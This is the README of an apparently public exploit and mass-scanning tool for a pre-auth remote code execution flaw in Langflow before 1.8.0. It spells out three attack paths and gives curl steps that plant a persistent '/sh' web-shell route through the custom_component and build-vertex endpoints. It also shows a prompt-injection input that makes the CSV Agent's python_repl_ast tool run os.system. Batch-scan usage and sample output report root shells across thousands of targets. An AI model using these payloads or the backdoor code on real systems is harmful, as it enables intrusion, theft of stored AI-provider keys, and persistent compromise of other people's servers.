shinthink/CVE-2026-27966

GitHub: shinthink/CVE-2026-27966

针对 Langflow < 1.8.0 预认证路由注入与 Vertex 注入远程代码执行漏洞(CVE-2026-27966)的批量扫描与利用工具。

Stars: 2 | Forks: 0

CVE-2026-27966 — Langflow 远程代码执行扫描器

预认证路由注入 + Vertex 注入 → Python 代码执行

## 概述 **CVE-2026-27966** 是 **Langflow** 1.8.0 之前版本中一个严重级别 (CVSS 9.8) 的预认证远程代码执行漏洞。该漏洞源于 CSV Agent 组件中硬编码了 `allow_dangerous_code=True`,导致 LangChain 的 `python_repl_ast` 工具暴露于未经身份验证的 prompt 注入之中。 此外,多个 API endpoint 缺乏适当的身份验证,从而允许直接进行路由注入和 flow vertex 注入——即使在未配置 CSV Agent 的实例上也是如此。 ### 受影响版本 | Langflow 版本 | 状态 | |---|---| | < 1.8.0 | 存在漏洞 | | >= 1.8.0 | 已修复 | ## 攻击向量 此扫描器测试三种不同的利用路径: ### 1. 路由注入(auto_login 绕过) ``` GET /api/v1/auto_login → obtain session / API key POST /api/v1/custom_component → register backdoor route GET /api/{backdoor}?c=command → RCE ``` ### 2. 直接路由注入(无 API key) ``` POST /api/v1/custom_component → register backdoor route GET /api/{backdoor}?c=command → RCE ``` ### 3. 构建 Vertex 注入(无认证构建) ``` GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed) POST /api/v1/build/{UUID}/vertices → inject malicious vertex POST /api/v1/run/{UUID} → execute vertex code → RCE ``` ## 漏洞机制 ### 根本原因 在 `src/lfx/src/lfx/components/langchain_utilities/csv_agent.py` 中,CSV Agent 节点硬编码了 `allow_dangerous_code=True`,这会自动暴露 LangChain 的 `python_repl_ast` 工具: ``` agent_kwargs = { "verbose": self.verbose, "allow_dangerous_code": True, # hardcoded — cannot be disabled via UI } agent_csv = create_csv_agent(..., **agent_kwargs) ``` 这使得任何到达 CSV Agent 的 prompt 都可以通过以下方式执行任意的 Python 代码: ``` Action: python_repl_ast Action Input: __import__("os").system("command") ``` ### 未认证的 API 攻击面 Langflow REST API 暴露了多个不需要身份验证的 endpoint: | Endpoint | 认证 | 暴露的数据 | |---|---|---| | `GET /api/v1/version` | 无 | Langflow 版本 | | `GET /api/v1/health` | 无 | 实例状态 | | `GET /api/v1/flows/basic_examples/` | 无 | **26 个示例 flow UUID + 结构** | | `POST /api/v1/build/{uuid}/vertices` | 无 | **接受任意代码注入** | | `POST /api/v1/users/` | 无 | 用户创建(未激活) | | `GET /openapi.json` | 无 | 完整的 API 文档 | ### 通过 auto_login 绕过认证 在启用了 `auto_login` 的实例上(在许多 Docker 部署中为默认设置),攻击者可以获得有效的 session 和 API key: ``` curl -sk 'https://target.com/api/v1/auto_login' # 返回带有 access_token 的会话 → 完整 API 访问权限 ``` 拥有有效的 API key 后,攻击者可以使用 `POST /api/v1/custom_component` 注册一个后门 FastAPI 路由,该路由将保留在内存中直到服务器重启: ``` from fastapi import APIRouter, Query router = APIRouter() @router.get("/sh") async def cmd(c: str = Query("")): import os return os.popen(c).read() app.include_router(router, prefix="/api") ``` ### CVSS 9.8 的原因 | 评估指标 | 值 | |---|---| | 攻击向量 | 网络(远程) | | 攻击复杂度 | 低 | | 所需权限 | 无 | | 用户交互 | 无 | | 影响范围 | 不变 | | 机密性 | 高 | | 完整性 | 高 | | 可用性 | 高 | ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-27966.git cd CVE-2026-27966 pip install -r requirements.txt ``` ## 用法 ``` # 单个目标 python cve_2026_27966.py -t target.com:7860 # 批量扫描 python cve_2026_27966.py -f targets.txt # 批量扫描 + 保存结果 python cve_2026_27966.py -f targets.txt -o rce.txt # 仅检测(跳过漏洞利用) python cve_2026_27966.py -f targets.txt --no-exploit # 详细输出 python cve_2026_27966.py -f targets.txt -v ``` ### 参数 ``` -t, --target Single target (IP:port or domain) -f, --file Target list, one per line -o, --output Save RCE results to file --threads Concurrent workers (default: 30) --no-exploit Detection only, skip RCE attempts -v, --verbose Show all results including non-RCE targets ``` ## 概念验证 ### 检测与利用 ``` $ python cve_2026_27966.py -t target.com:7860 -v ``` ``` CVE-2026-27966 — Langflow RCE Scanner CVSS 9.8 | Pre-Auth | Route Injection → RCE Host : target.com:7860 Langflow : YES v1.2.0 Vuln : YES API Key : NOT REQUIRED RCE : YES Output : uid=0(root) gid=0(root) groups=0(root) Time : 12.3s ``` ### 批量扫描输出 ``` CVE-2026-27966 Langflow RCE Scanner Targets: 4127 | Threads: 30 | Exploit: ON ------------------------------------------------------- [RCE] 192.168.10.50 v1.2.0 7.3s uid=0(root) gid=0(root) groups=0(root) [AUTH] target.internal:4433 v1.2.0 14.1s (API key) [500/4127] scanning... (12%) ------------------------------------------------------- Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41 ------------------------------------------------------- ``` ### 手动利用 **步骤 1 — 检测 Langflow** ``` curl -sk 'https://target.com/api/v1/version' # {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"} ``` **步骤 2 — 提取 flow UUID** ``` curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id' # "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2" ``` **步骤 3 — 注入后门 vertex** ``` curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \ -H 'Content-Type: application/json' \ -d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\n@router.get(\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}' ``` **步骤 4 — 执行命令** ``` curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a' ``` ## 影响 成功利用将导致在 Langflow Docker container 中以 **root 权限执行远程代码**。由此,攻击者可以: - 从 Langflow 的 SQLite 数据库中提取 API key(OpenAI, Anthropic, Gemini 等) - 访问已连接的向量数据库和外部服务 - 通过自定义组件部署持久化后门 - 横向渗透到内部网络 - 部署挖矿程序或 C2 基础设施 ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | GitHub 公告 | [GHSA-3645-fxcv-hqr4](https://github.com/advisories/GHSA-3645-fxcv-hqr4) | | 修复提交 | [d8c6480d](https://github.com/langflow-ai/langflow/commit/d8c6480daa17b2f2af0b5470cdf5c3d28dc9e508) | | Metasploit 模块 | [Rapid7](https://github.com/rapid7/metasploit-framework) | | NVD 条目 | [CVE-2026-27966](https://nvd.nist.gov/vuln/detail/CVE-2026-27966) |

本项目与 Langflow 或 Logspace 无关。

标签:CISA项目, Langflow, Python, 加密, 无后门, 漏洞扫描器, 系统独立性, 编程工具, 远程代码执行, 逆向工具